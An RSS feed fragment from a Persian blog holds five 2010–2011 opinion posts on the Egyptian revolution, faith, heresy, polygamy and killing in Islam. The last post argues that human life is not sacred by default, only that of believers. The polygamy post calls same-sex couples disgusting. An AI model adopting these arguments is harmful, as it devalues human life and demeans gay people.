		<link>http://abiusx.com/%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d9%85%d8%b5%d8%b1-%d9%88-%d8%a8%d8%b1%d8%ae%d9%88%d8%b1%d8%af-%d8%b5%d8%ad%db%8c%d8%ad-%d8%a8%d8%a7-%d8%a2%d9%86/</link>
		<comments>http://abiusx.com/%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d9%85%d8%b5%d8%b1-%d9%88-%d8%a8%d8%b1%d8%ae%d9%88%d8%b1%d8%af-%d8%b5%d8%ad%db%8c%d8%ad-%d8%a8%d8%a7-%d8%a2%d9%86/#comments</comments>
		<pubDate>Sun, 30 Jan 2011 16:08:47 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[تحلیلی]]></category>
		<category><![CDATA[سیاسی]]></category>
		<category><![CDATA[آمریکا و اسرائیل]]></category>
		<category><![CDATA[انقلاب مصر]]></category>
		<category><![CDATA[حسنی مبارک]]></category>
		<category><![CDATA[مصادره انقلاب]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=563</guid>
		<description><![CDATA[قلم فرسایی نمی‌کنم، مطلبی راجع به ماهیت انقلاب مصر، تاثیرات احتمالی آن و برخورد صحیح با آن می‌نویسم که برای عزیزانی که اهمیت سیاست را درک می‌کنند بسیار مفید خواهد بود ( انشالله ) اولا که انقلاب مصر حتما به صلاح نخواهد بود، اگر دموکراسی آمریکایی در مصر برقرار بشود قطعا از دیکتاتوری مبارک بدتر [...]]]></description>
				<content:encoded><![CDATA[قلم فرسایی نمی‌کنم، مطلبی راجع به ماهیت انقلاب مصر، تاثیرات احتمالی آن و برخورد صحیح با آن می‌نویسم که برای عزیزانی که اهمیت سیاست را درک می‌کنند بسیار مفید خواهد بود ( انشالله )

اولا که انقلاب مصر حتما به صلاح نخواهد بود، اگر دموکراسی آمریکایی در مصر برقرار بشود قطعا از دیکتاتوری مبارک بدتر خواهد بود و همین دین و ایمانی که مردم دارند نیز بر باد خواهد رفت (زیرا در دیکتاتوری حاکم ظلم می‌کند و مردم مظلوم هستند، اما فساد در سطح مردم نیست و در سطح حکام است ولی در دموکراسی حکام و مردم یکپارچه می‌شوند و اگر حکام فاسد باشند مردم نیز فاسد خواهند بود. توضیحات بیشتر در مطلبی دیگر)

ثانیا همانطور که همه می‌دانند، انقلاب مردم مصر رهبری منسجم ندارد و به دلیل انعکاس دومینویی انقلاب‌های تونس و اطراف رخ داده است. این امر بسیار خطرناک است و تا وقتی رهبری برای انقلاب معین نباشد، خط و مشی دقیق آن نیز معلوم نیست و هر جریانی می‌تواند آنرا دستکاری و مصادره کند.

ثالثا ۹۰ درصد جمعیت مصر مسلمان هستند و در تصاویر راهپیمایی‌ها بر همه مسلم بود که انقلاب به دست مسلمانان غلیظ در دست انجام است و قشری که حداقل ظاهرا شدیدا مسلمان نباشد در جمعیت دیده نمی‌شد.

با این اوصاف تمام جریانات مختلف، خیز برداشته‌اند تا از آب گلالود ماهی بگیرند و انقلاب مصر را به نفع خود مصادره کنند. آمریکا  با رهبر نشان دادن البرادعی و اعلام دروغین اینکه او تحت فشار است که رهبری را به دست نگیرد، عربستان با حمایت از دولت جاری، ایران و اسرائیل با سکوت و هر جریان دیگری به نوبه خود. اما نباید تمام تحلیلات را به موسسه‌های آمریکایی قدرتمند مانند <a href="http://en.wikipedia.org/wiki/RAND">RAND</a> بسپاریم که اگر اینگونه عمل کنیم نتیجه نیز از آن آنان خواهد بود.

در این میان جریان موسوم به جنبش سبز قصد برگزاری تجمعی در ایران را دارد، غافل از اینکه این خط از آمریکا منشاء گرفته تا نه تنها انقلاب مصر را به جنبش سبز پیوند زند و ماهیت آندو را به جهانیان یکسان نمایان کند، بلکه افکار عمومی را از التهاب مصر کمی دور کند.

اما ایران نیز به دلیل حساسیت موضوع امکان هیچگونه اعلام نظر رسمی سیاسی ندارد که جریانات مخالف به شدت منتظر این عکس العمل هستند تا تحرکات مصر را گردن ایران و عوامل جاسوسی آن بیاندازند و بار دیگر ما را تروریست و دشمن ملت‌ها معرفی کنند. از طرف دیگر در صورتی که ایران هیچ موضعی نگیرد، چگونه می‌تواند جریان را به نفع خود مصادره نماید؟

راه حلی که به نظر من رسید اینست که تظاهرات مردمی گسترده‌ای، بدون پوشش دولتی در ایران در پشتیبانی از انقلاب مصر برگزار شود. بدینسان نه تنها ماهیت انقلاب مصر به ماهیت انقلاب اسلامی تغییر خواهد کرد بلکه این انقلاب برای ایران و مردم و راه آن مصادره خواهد شد و در صورتی که مصر انقلاب اسلامی کند و به جبهه ایران بپیوندد، اسرائیل در آینده نزدیک و آمریکا در آینده دور از صحنه حذف خواهند شد.]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d8%a7%d9%86%d9%82%d9%84%d8%a7%d8%a8-%d9%85%d8%b5%d8%b1-%d9%88-%d8%a8%d8%b1%d8%ae%d9%88%d8%b1%d8%af-%d8%b5%d8%ad%db%8c%d8%ad-%d8%a8%d8%a7-%d8%a2%d9%86/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>تعریف ایمان در ادیان</title>
		<link>http://abiusx.com/%d8%aa%d8%b9%d8%b1%db%8c%d9%81-%d8%a7%db%8c%d9%85%d8%a7%d9%86-%d8%af%d8%b1-%d8%a7%d8%af%db%8c%d8%a7%d9%86/</link>
		<comments>http://abiusx.com/%d8%aa%d8%b9%d8%b1%db%8c%d9%81-%d8%a7%db%8c%d9%85%d8%a7%d9%86-%d8%af%d8%b1-%d8%a7%d8%af%db%8c%d8%a7%d9%86/#comments</comments>
		<pubDate>Sat, 29 Jan 2011 19:25:04 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[انتقادی]]></category>
		<category><![CDATA[تحلیلی]]></category>
		<category><![CDATA[علمی]]></category>
		<category><![CDATA[مذهبی]]></category>
		<category><![CDATA[faith]]></category>
		<category><![CDATA[spiritual]]></category>
		<category><![CDATA[اعتقاد]]></category>
		<category><![CDATA[ایمان]]></category>
		<category><![CDATA[تعریف ایمان]]></category>
		<category><![CDATA[عقل]]></category>
		<category><![CDATA[عقیده]]></category>
		<category><![CDATA[علم]]></category>
		<category><![CDATA[لا اکراه فی الدین]]></category>
		<category><![CDATA[معرفت]]></category>
		<category><![CDATA[مومن]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=556</guid>
		<description><![CDATA[مطلب بسیار کوتاهی در خدمت شما هستم در باب تعریف ایمان در ادیان. ایمان یا Faith در ادیان غربی و سکولار امروزی (مسیحیت، یهودیت و &#8230;) تعریف زیر را دارد: strong belief in God or in the doctrines of a religion, based on spiritual apprehension rather than proof. یعنی باور قوی در خداوند یا مذهب [...]]]></description>
				<content:encoded><![CDATA[مطلب بسیار کوتاهی در خدمت شما هستم در باب تعریف ایمان در ادیان.

ایمان یا Faith در ادیان غربی و سکولار امروزی (مسیحیت، یهودیت و &#8230;) تعریف زیر را دارد:
<p style="text-align: center;">strong belief in God or in the doctrines of a religion, based on spiritual apprehension rather than proof.</p>
<p style="text-align: center;">یعنی</p>
<p style="text-align: center;">باور قوی در خداوند یا مذهب یک دین، بر اساس درک معنوی به جای استدلال و برهان</p>
<p style="text-align: center;">(بر اساس New Oxford American Dictionary)</p>
<p style="text-align: right;">و اما در اسلام، ایمان به چه معناست؟ بحث‌های فلسفی بسیاری در این باب رخ داده که عصاره آن به شرح زیر است:</p>
(لا إِکْراهَ فِی الدِّینِ قَدْ  تَبَیَّنَ الرُّشْدُ مِنَ الْغَیِّ فَمَنْ یَکْفُرْ  بِالطَّاغُوتِ وَ یُؤْمِنْ بِاللَّهِ فَقَدِ اسْتَمْسَکَ بِالْعُرْوَةِ  الْوُثْقی&#8230;);« در دین اجبار نیست. راه هدایت و ضلالت بر همه کس روشن  گردید، پس  هر که از راه کفر و سرکشی برگردد و به راه ایمان و پرستش خدا گراید، به رشته‌ی محکم  و استواری چنگ زده است.» (آیت الکرسی)
ایمان تمکّن یافتن اعتقاد در قلب انسان است و از  مادّهی امن گرفته شده است. گویا  شخص مؤمن، با ایمان،  از ریب و شک که آفت اعتقاد است، ایمن میشود. (علامه طباطبایی)

ایمان از سنخ اعتقاد و معرفت است، اما صرف معرفت نیست، بلکه باید در قلب انسان وارد شده و عقد ببندد تا عقیده شود. بنابراین معرفت و علم (و عقل) شرط لازم ایمان است ولی کافی نیست.

دقت داشته باشید که در بحث‌هایی که از ایدئولوژی‌های غربی به میان میاید، واژه ایمان را معادل Faith بگیرید و نه ایمان اسلامی.]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d8%aa%d8%b9%d8%b1%db%8c%d9%81-%d8%a7%db%8c%d9%85%d8%a7%d9%86-%d8%af%d8%b1-%d8%a7%d8%af%db%8c%d8%a7%d9%86/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>بدعت، بدعت!</title>
		<link>http://abiusx.com/%d8%a8%d8%af%d8%b9%d8%aa%d8%8c-%d8%a8%d8%af%d8%b9%d8%aa/</link>
		<comments>http://abiusx.com/%d8%a8%d8%af%d8%b9%d8%aa%d8%8c-%d8%a8%d8%af%d8%b9%d8%aa/#comments</comments>
		<pubDate>Wed, 12 Jan 2011 22:32:53 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[دسته‌بندی نشده]]></category>
		<category><![CDATA[از بین رفتن دین]]></category>
		<category><![CDATA[اضافه کردن به دین]]></category>
		<category><![CDATA[بدترین بدعت]]></category>
		<category><![CDATA[بدعت]]></category>
		<category><![CDATA[تحریف]]></category>
		<category><![CDATA[تحریف دین]]></category>
		<category><![CDATA[تقوا]]></category>
		<category><![CDATA[حذف از دین]]></category>
		<category><![CDATA[حرام کردن حلال خدا]]></category>
		<category><![CDATA[حلال غیر لازم]]></category>
		<category><![CDATA[حلال لازم]]></category>
		<category><![CDATA[حلال کردن حرام خدا]]></category>
		<category><![CDATA[حلال‌های لازم]]></category>
		<category><![CDATA[فلسفه]]></category>
		<category><![CDATA[ورع]]></category>
		<category><![CDATA[کلام]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=552</guid>
		<description><![CDATA[بدعت یعنی تحریف دین، و به عبارت دقیقتر یعنی اضافه کردن چیزی که در دین نیست به آن و حذف کردن چیزی که در دین است از آن. در این مطلب بدعت رو محدود می‌کنم به دو دسته، حلال کردن حرام خدا و حرام کردن حلال خدا. اما سوالی که قصد بررسی داریم، اینست: حرام [...]]]></description>
				<content:encoded><![CDATA[بدعت یعنی تحریف دین، و به عبارت دقیقتر یعنی اضافه کردن چیزی که در دین نیست به آن و حذف کردن چیزی که در دین است از آن. در این مطلب بدعت رو محدود می‌کنم به دو دسته، حلال کردن حرام خدا و حرام کردن حلال خدا. اما سوالی که قصد بررسی داریم، اینست:
<p style="text-align: center;"><strong>حرام کردن حلال خدا بدتر است یا حلال کردن حرام خدا؟</strong></p>
<p style="text-align: right;"></p>
<p style="text-align: right;">در نگاه اول، ممکن است بگوییم حلال کردن حرام خدا خیلی بدتر است چون باعث شیوع گناهی می‌شود که روح‌ها را تباه می‌سازد، اما حرام کردن حلال خدا شاید خیلی بد نباشد، چون به مانند احتیاط است و از چیزی که حلال است استفاده نکنیم، حداقل گناه نکرده‌ایم و الکی سختی اضافه کشیده‌ایم. اما این دیدگاه نقاط ضعفی دارد.</p>
<p style="text-align: right;">برای دریافت پاسخ دقیق این سوال، باید به سوالی بنیادین که متکلمین اسلامی از ابتدا تاکنون پاسخ‌های مختلفی بدان داده‌اند، پاسخ بگوییم و آن سوال اینست که «همه چیز حلال است، مگر آنهایی که حرام اعلام شده‌اند یا بالعکس؟» باور بنده اینست که حالت اول برقرار است و بر این اساس به سوال اولیه پاسخ خواهم داد.</p>
<p style="text-align: right;">مواردی که حلال هستند، به دو دسته تقسیم می‌شوند:</p>

<ul>
	<li>لازم</li>
	<li>غیرلازم</li>
</ul>
حلال‌های لازم، مثل غذا خوردن (با محدودیت‌هایی، ولی کلیت آن)، مثل ازدواج کردن، مثل تفریح کردن و غیره هستند که برای زندگی یک انسان لازم هستند و اگر اینها حرام باشند، نمی‌شود زندگی کرد. حلال‌های غیرلازم، تمامی حلال‌هایی هستند که در این دسته قرار نمی‌گیرند. ما در این مطلب و در کل راه دقیقی برای تمیر این دو دسته ارائه نخواهیم داد و کار را به فیلسوفان، متکلمان و فقها می‌سپاریم.

به نظر بنده، حرام کردن حلال‌های لازم، بدترین نوع بدعت است و از حلال کردن حرام‌های بسیار بد، مانند زنا یا قتل هم مضرتر است، به این خاطر که این حلال‌ها برای زندگی یک انسان مومن لازم هستند و در صورتی که اینها امکانپذیر نباشند (و ممنوع شوند)، کلیت دین دیگر امکانپذیر نیست و یک بسته ناقص شده، دینداری در کل ممکن نخواهد بود، بنابراین کل دین از دست خواهد رفت، در حالی که حتی اگر قتل حلال شود، نهایتا ضررهایی متوجه جامعه می‌شود و تا حدودی قابل کنترل خواهد بود (و دیگر گناه‌ها بیشتر ضرر روحی دارند) و همچنین عقل و جامعه بشری می‌تواند آنرا تا حدودی به تعادل نزدیک سازد.

متاسفانه اکثر ما بدون دلیل و به زعم اشتباه فکر می‌کنیم که حرام کردن حلال‌ها نوعی تقوای اضافی و ورع است و تنها ضرر آن اینست که بیش از حد احتیاط خواهیم کرد، در حالی که این بدترین نوع بدعت است و باعث از میان رفتن دین خداوند خواهد شد . قطعا به این سادگی هم قابل بخشش نخواهد بود.]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d8%a8%d8%af%d8%b9%d8%aa%d8%8c-%d8%a8%d8%af%d8%b9%d8%aa/feed/</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>چند همسری از منظر حقوق بشر لیبرال</title>
		<link>http://abiusx.com/%da%86%d9%86%d8%af-%d9%87%d9%85%d8%b3%d8%b1%db%8c-%d8%a7%d8%b2-%d9%85%d9%86%d8%b8%d8%b1-%d8%ad%d9%82%d9%88%d9%82-%d8%a8%d8%b4%d8%b1-%d9%84%db%8c%d8%a8%d8%b1%d8%a7%d9%84/</link>
		<comments>http://abiusx.com/%da%86%d9%86%d8%af-%d9%87%d9%85%d8%b3%d8%b1%db%8c-%d8%a7%d8%b2-%d9%85%d9%86%d8%b8%d8%b1-%d8%ad%d9%82%d9%88%d9%82-%d8%a8%d8%b4%d8%b1-%d9%84%db%8c%d8%a8%d8%b1%d8%a7%d9%84/#comments</comments>
		<pubDate>Tue, 04 Jan 2011 23:48:08 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[دسته‌بندی نشده]]></category>
		<category><![CDATA[Hypergamy]]></category>
		<category><![CDATA[Mormon]]></category>
		<category><![CDATA[Polyandry]]></category>
		<category><![CDATA[Polygamy]]></category>
		<category><![CDATA[Polygyny]]></category>
		<category><![CDATA[same-sex-marriage]]></category>
		<category><![CDATA[ازدواج]]></category>
		<category><![CDATA[ازدواج دو زن]]></category>
		<category><![CDATA[ازدواج دو مرد]]></category>
		<category><![CDATA[ازدواج همجنس]]></category>
		<category><![CDATA[حقوق بشر]]></category>
		<category><![CDATA[لیبرالیزم]]></category>
		<category><![CDATA[لیبرالیسم]]></category>
		<category><![CDATA[چند زنی]]></category>
		<category><![CDATA[چند شوهری]]></category>
		<category><![CDATA[چند همسری]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=513</guid>
		<description><![CDATA[مدتی بود که این مطلب در ذهنم حسابی دعوا راه انداخته بود که آره، چرا منو نمی‌نویسی؟ در حق من ظلم شده! من هم می‌گفتم خیلی‌ها قبل از تو مظلومند! ولی دیروز وقتی فیلم The 8th Mormon Proposition رو دیدم، اولویت این مطلب بالا آمد. در این مطلب راجع به Mormonism و American Constitution و [...]]]></description>
				<content:encoded><![CDATA[مدتی بود که این مطلب در ذهنم حسابی دعوا راه انداخته بود که آره، چرا منو نمی‌نویسی؟ در حق من ظلم شده! من هم می‌گفتم خیلی‌ها قبل از تو مظلومند! ولی دیروز وقتی فیلم The 8th Mormon Proposition رو دیدم، اولویت این مطلب بالا آمد. در این مطلب راجع به Mormonism و American Constitution و 8th Proposition صحبت نمی‌کنم، هرچند بحثهای حیاتی هستند که حتما باید در مورد آنها تحقیق کنیم. سعی می‌کنم مطلب را طوری بنویسم که وابستگی به اینها پیدا نکند.

موضوع امروز، یک بررسی تطبیقی و انتقادی عقلیست، و بر اساس هیچ گزاره عقلی کلامی، عبارتی را تایید یا رد نمی‌کند، تنها سیستم موجود را به چالش می‌کشد و بنیان‌های آنرا بی اساس  می‌نماید. همانطور که می‌دانید، ازدواج دو همجنس،‌ در بسیای از ایالات آمریکا و همچنین در درصد قابل توجهی از کشورهای جهان قانونیست، تا جایی که بیش از ۵۰ درصد جمعیت آمریکا به اینگونه ازدواج رای مثبت می‌دهند و آنرا حق طبیعی انسان‌ها می‌دانند.

ما نیز قصد نداریم آنرا غلط یا درست بدانیم، هرطوری که هست باشد (هرچند اگر مستندات مربوط به زندگی دو همجنس، چه دو مرد و چه دو زن را مطالعه کنید امکان ندارد حالتان به هم نخورد) و همچنین قصد نداریم دلایل خوبی یا بدی اینکار از نظر عقل و عرف را بررسی کنیم، چه بسا آنکه اینکار در تقریبا تمامی مطالبی که راجع به این موضوع قلم خورده مشخص شده و بر خوانندگان محترم نیز مبرهن است.

چند همسری (Polygamy) که به دو دسته چند زنی (Polygyny) و چند شوهری (Plolyandry) تقسیم می‌گردد (هرچند از این پس منظور ما از این اصطلاح چند زنیست و چند شوهری به جز موارد معدودی در کل تاریخ مشاهده نشده و نمی‌شود) نیز در اکثر جوامع و کشورهای دنیا، یا ممنوع است و مجازات قانونی دارد، یا مذموم است و پسندیده نیست، یا ممنوع است ولی پیگیری قانونی نمی‌شود.

<div id="attachment_544" class="wp-caption aligncenter" style="width: 310px"><a href="http://abiusx.com/blog/wp-content/uploads/2011/01/no-to-polygamy.jpg"><img class="size-medium wp-image-544" title="no-to-polygamy" src="http://abiusx.com/blog/wp-content/uploads/2011/01/no-to-polygamy-300x205.jpg" alt="چند زن در اندونزی که تحت تاثیر تبلیغات، تظاهرات ضد چند همسری می‌کنند" width="300" height="205" /></a><p class="wp-caption-text">چند زن در اندونزی که تحت تاثیر تبلیغات، تظاهرات ضد چند همسری می‌کنند</p></div>

چرا ازدواج دو همجنس مجاز است؟ آیا صرف اینکه آندو، و حتی جامعه‌شان، به این توافق رسیده‌اند که می‌خواهند و می‌توانند با یکدیگر زندگی کنند این حق را ایجاد کرده است؟ آیا صرف اینکه اینکار هیچ ضرر ظاهری مشخصی ندارد، مجوز آزادی آنرا صادر می‌کند؟ آیا صرف اینکه بین دو همجنس عشق ایجاد شده، مجوز ازدواج است؟ بسیار خوب همه اینها قبول. پس چرا چند همسری مجاز نیست؟ آیا اگر مردی و تعدادی زن به توافق برسند، حق ازدواج ندارند؟ آیا ازدواج یک مرد با چند زن، که از روزهای اولیه پیدایش بشر وجود داشته و هیچموقع نیز با فطرت او ناسازگاری نداشته (و تنها دشمن آن حسادت زنها بوده است) به هیچ صراطی نمی‌تواند مجوز داشته باشد، ولی ازدواج دو مرد یا دو زن که همین الان هم به نظر بسیاری عجیب و نامناسب است، صرف توافق و اعطای حقوق بشر به انسان‌ها، مجاز می‌گردد؟ اصلا چرا ازدواج چند همجنس مجوز ندارد؟؟

حقوق بشر لیبرال، علارغم اینکه بنیان خود را آزادی‌های فردی (و سپس اجتماعی) انسان‌ها بیان می‌کند، در جاهایی که این آزادی با ایدئولوژی و شیوه‌های تسلط آن بر جهان تقابل پیدا می‌کند، خیلی راحت و با جوسازی و ایجاد تبلیغات آنرا نقض می‌نماید، چنانچه امروزه در جامعه آمریکایی بیش از نیمی از مردم موافق ازدواج دو همجنس هستند، ولی بسیار کمتر از یک سوم مردم چند همسری را گزینه‌ای قابل تامل می‌دانند!

<div id="attachment_550" class="wp-caption aligncenter" style="width: 364px"><a href="http://abiusx.com/blog/wp-content/uploads/2011/01/joseph-smith-polygamy.jpg"><img class="size-medium wp-image-550" title="joseph-smith-polygamy" src="http://abiusx.com/blog/wp-content/uploads/2011/01/joseph-smith-polygamy-300x173.jpg" alt="تصویری از جوزف اسمیت و همسران، پیامبر دروغین فرقه مورمونیسم (مسیحیت قدیسان جدید)" width="354" height="204" /></a><p class="wp-caption-text">تصویری از جوزف اسمیت و همسران، پیامبر دروغین فرقه مورمونیسم (مسیحیت قدیسان جدید)</p></div>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%da%86%d9%86%d8%af-%d9%87%d9%85%d8%b3%d8%b1%db%8c-%d8%a7%d8%b2-%d9%85%d9%86%d8%b8%d8%b1-%d8%ad%d9%82%d9%88%d9%82-%d8%a8%d8%b4%d8%b1-%d9%84%db%8c%d8%a8%d8%b1%d8%a7%d9%84/feed/</wfw:commentRss>
		<slash:comments>61</slash:comments>
		</item>
		<item>
		<title>و تو نباید بکشی&#8230;</title>
		<link>http://abiusx.com/%d9%88-%d8%aa%d9%88-%d9%86%d8%a8%d8%a7%db%8c%d8%af-%d8%a8%da%a9%d8%b4%db%8c/</link>
		<comments>http://abiusx.com/%d9%88-%d8%aa%d9%88-%d9%86%d8%a8%d8%a7%db%8c%d8%af-%d8%a8%da%a9%d8%b4%db%8c/#comments</comments>
		<pubDate>Thu, 30 Dec 2010 07:55:22 +0000</pubDate>
		<dc:creator>AbiusX</dc:creator>
				<category><![CDATA[انتقادی]]></category>
		<category><![CDATA[تحلیلی]]></category>
		<category><![CDATA[علمی]]></category>
		<category><![CDATA[مذهبی]]></category>
		<category><![CDATA[thou shalt not kill]]></category>
		<category><![CDATA[آدم کشی]]></category>
		<category><![CDATA[حرام]]></category>
		<category><![CDATA[حرمت قتل]]></category>
		<category><![CDATA[ده فرمان]]></category>
		<category><![CDATA[فساد بر زمین]]></category>
		<category><![CDATA[قتل]]></category>
		<category><![CDATA[قتل در اسلام]]></category>
		<category><![CDATA[قتل در قرآن]]></category>
		<category><![CDATA[قتل در مسیحیت]]></category>
		<category><![CDATA[قتل در یهود]]></category>
		<category><![CDATA[قتل نفس]]></category>
		<category><![CDATA[قصاص]]></category>
		<category><![CDATA[کشتن]]></category>
		<category><![CDATA[گناه کبیره]]></category>
		<category><![CDATA[گناه کبیره چهارم]]></category>
		<category><![CDATA[گناهان کبیره]]></category>

		<guid isPermaLink="false">http://abiusx.com/?p=515</guid>
		<description><![CDATA[با یک مطلب کوتاه راجع به قتل نفس از دیدگاه عقل و دین سلسله مباحث را ادامه خواهیم داد. این مطلب را بسیار رک و بدون تفسیر می‌نویسم چون جای مغالطه زیاد خواهد داشت. از دید عقل، قتل در موارد بسیار زیادی لازم است، به عنوان مثال وقتی کسی قصد کشتن شما را می‌کند، و [...]]]></description>
				<content:encoded><![CDATA[با یک مطلب کوتاه راجع به قتل نفس از دیدگاه عقل و دین سلسله مباحث را ادامه خواهیم داد. این مطلب را بسیار رک و بدون تفسیر می‌نویسم چون جای مغالطه زیاد خواهد داشت.

از دید عقل، قتل در موارد بسیار زیادی لازم است، به عنوان مثال وقتی کسی قصد کشتن شما را می‌کند، و به هیچ طریقی هم دست بردار نیست، و توانایی غلبه و کنترل او را ندارید (مثلا اسلحه به دست رگبار گرفته یا با چاقویی به سمت شما حمله ور شده و شما نیز فنون رزمی نمی‌دانید) قاعدتا باید او را بکشید. یا اگر کسی در حال انجام کاریست که ضرر آن بسیار پر ارزشتر از جان وی است، مثلا در حال نصب و انفجار یک بمب اتمی در شهری پر جمعیت. بنابراین حداقل عقلی آنکه کشتن گاهی لازم و واجب است.

و اما کشتن در ادیان، در مذهب یهود و نصارا بر اساس ده فرمانی که به باور امروزی این ادیان خداوند به حضرت موسی (ع) اعطی فرموده، بر اساس ششمین فرمان (و از دید پروتستان‌ها پنجمین) عبارت «Thou shalt not kill» یا «Thou shalt not murder» که نثر قدیمی «تو نباید بکشی» است آمده. بسیاری از کاتولیک‌های مقید باور دارند که تحت هیچ شرایطی نباید اقدام به قتل نفس کرد و به مانند دیگر اعتقادات خود، دلیل و الزام یا رد عقلی بر این موضوع را پذیرا نیستند.

در اسلام، بر خلاف یهودیت و مسیحیت، قتل نفس اینگونه تحریم نگشته است. در قرآن ۱۷۳ بار ریشه قتل به کار رفته، که تعداد متنابهی از آن مربوط به مذمت رفتار امت‌های مختلف در قتل پیامبران و یا فرزندانشان است، ولی مواردی نیز مربوط به حکم و حرمت قتل نفس است، که مهمترین آنها عبارتند از:
<p style="text-align: center;"><em>از اين رو بر بنى اسرائيل مقرر داشتيم كه هر كس كس ديگر را نه به قصاص قتل كسى يا ارتكاب فسادى بر روى زمين بكشد، چنان است كه همه مردم را كشته باشد. و هر كس كه به او حيات بخشد چون كسى است كه همه مردم را حيات بخشيده باشد. و به تحقيق پيامبران ما همراه با دلايل روشن بر آنها مبعوث شدند، باز هم بسيارى از آنها هم چنان بر روى زمين از حد خويش تجاوز مى‏كردند. (مائده، ۳۲)</em></p>
<p style="text-align: center;"><em>بگو: «بياييد آنچه را پروردگارتان بر شما حرام كرده است برايتان بخوانم: اينكه چيزى را شريك خدا قرار ندهيد! و به پدر و مادر نيكى كنيد! و فرزندانتان را از (ترس) فقر، نكشيد! ما شما و آنها را روزى مى‏دهيم و نزديك كارهاى زشت نرويد، چه آشكار باشد چه پنهان! و انسانى را كه خداوند محترم شمرده، به قتل نرسانيد! مگر بحق (و از روى استحقاق) اين چيزى است كه خداوند شما را به آن سفارش كرده، شايد درك كنيد! (انعام، ۱۵۱)</em></p>
<p style="text-align: center;"><em>و كسى را كه خداوند خونش را حرام شمرده، نكشيد، جز بحق! و آن كس كه مظلوم كشته شده، براى وليش سلطه (و حق قصاص) قرار داديم اما در قتل اسراف نكند، چرا كه او مورد حمايت است! (اسراء، ۳۳)</em></p>
<p style="text-align: center;"><em>و كسانى كه معبود ديگرى را با خداوند نمى‏خوانند و انسانى را كه خداوند خونش را حرام شمرده، جز بحق نمى‏كشند و زنا نمى‏كنند و هر كس چنين كند، مجازات سختى خواهد ديد! (فرقان، ۶۸)</em></p>
<p style="text-align: center;"><em>و هر كس، فرد باايمانى را از روى عمد به قتل برساند، مجازاتِ او دوزخ است در حالى كه جاودانه در آن مى‏ماند و خداوند بر او غضب مى‏كند و او را از رحمتش دور مى‏سازد و عذاب عظيمى براى او آماده ساخته است. (نساء، ۹۳)</em></p>
<p style="text-align: right;">در تفسیر آیه اول، علامه سید محمد حسین طباطبایی می‌فرمایند که بحث کشتن تمام بشریت، تشبیه کناییست و از این منظر است که حقیقت آفرینش را زایل کردن، یک نفر و چند نفر ندارد نه اینکه حکم فقهی باشد و شدت گناه را برساند. بنابراین این آیه در نتیجه‌ای که خواهیم گرفت تاثیرگذاز نیست. آیه آخر نیز قید مومن دارد و بیشتر برای تاکید در باب قصاص آمده است.</p>
<p style="text-align: right;">در تمام موارد دیگر، و مواردی که موفق به یافتن آنها در قرآن نشدم، همواره قید «کسی که خداوند خونش را حرام شمرده، نکشید» به کار رفته است. یعنی به صورت پیش‌فرض، ریختن خون انسان حرمت ندارد مگر برای مواردی که خداوند حرمتی بر خون قرار داده (مانند آیه آخر). در فهرست گناهان کبیره شهید دستغیب نیز، قتل نفس به عنوان گناه کبیره چهارم بدین صورت آمده است « آدمکشی، کشتن کسی که خدایتعالی کشتن او را تحریم کرده و خونش را محترم دانسته مگر  آن که جنبه قصاص و اجراء حدود الهی داشته باشد»</p>
<p style="text-align: right;">بنابراین از دیدگاه اسلام، ریختن خون یک انسان صرفا اتفاقی بسیار بزرگ نیست که دنیا را تکان دهد و تعادل محورها را تغییر دهد. برای اینکه اینگونه باشد، شرایط و قیود بسیاری باید بر آن انسان حاکم باشند، به عنوان مثال باید مصداق «مومن» باشد.</p>
<p style="text-align: right;">متاسفانه باور غلطی که از مسیحیت و یهودیت، و تا حدودی از بودائیسم و تائوییسم و از طرفی دیگر از لیبرالیزم و اومانیزم &#8211; به دلیل غایت شمردن جان انسان &#8211; وارد اذهان مردم ما شده (صرفا به جهت تهاجم فرهنگی) باعث شده که حرمت غیرواقعی و بزرگی برای کشته شدن انسان‌ها قائل باشند که نمونه‌های گمراهی افراد بسیاری را بر اثر این باور اشتباه در فتنه سال گذشته شاهد بودیم. امید است که با مطالعه این مطلب، میزان تشخیص عزیزان حداقل در این یک حوزه تنظیم گشته باشد.</p>]]></content:encoded>
			<wfw:commentRss>http://abiusx.com/%d9%88-%d8%aa%d9%88-%d9%86%d8%a8%d8%a7%db%8c%d8%af-%d8%a8%da%a9%d8%b4%db%8c/feed/</wfw:commentRss>
		<slash:comments>54</slash:comments>
		</item>
	</channel>
</rss>
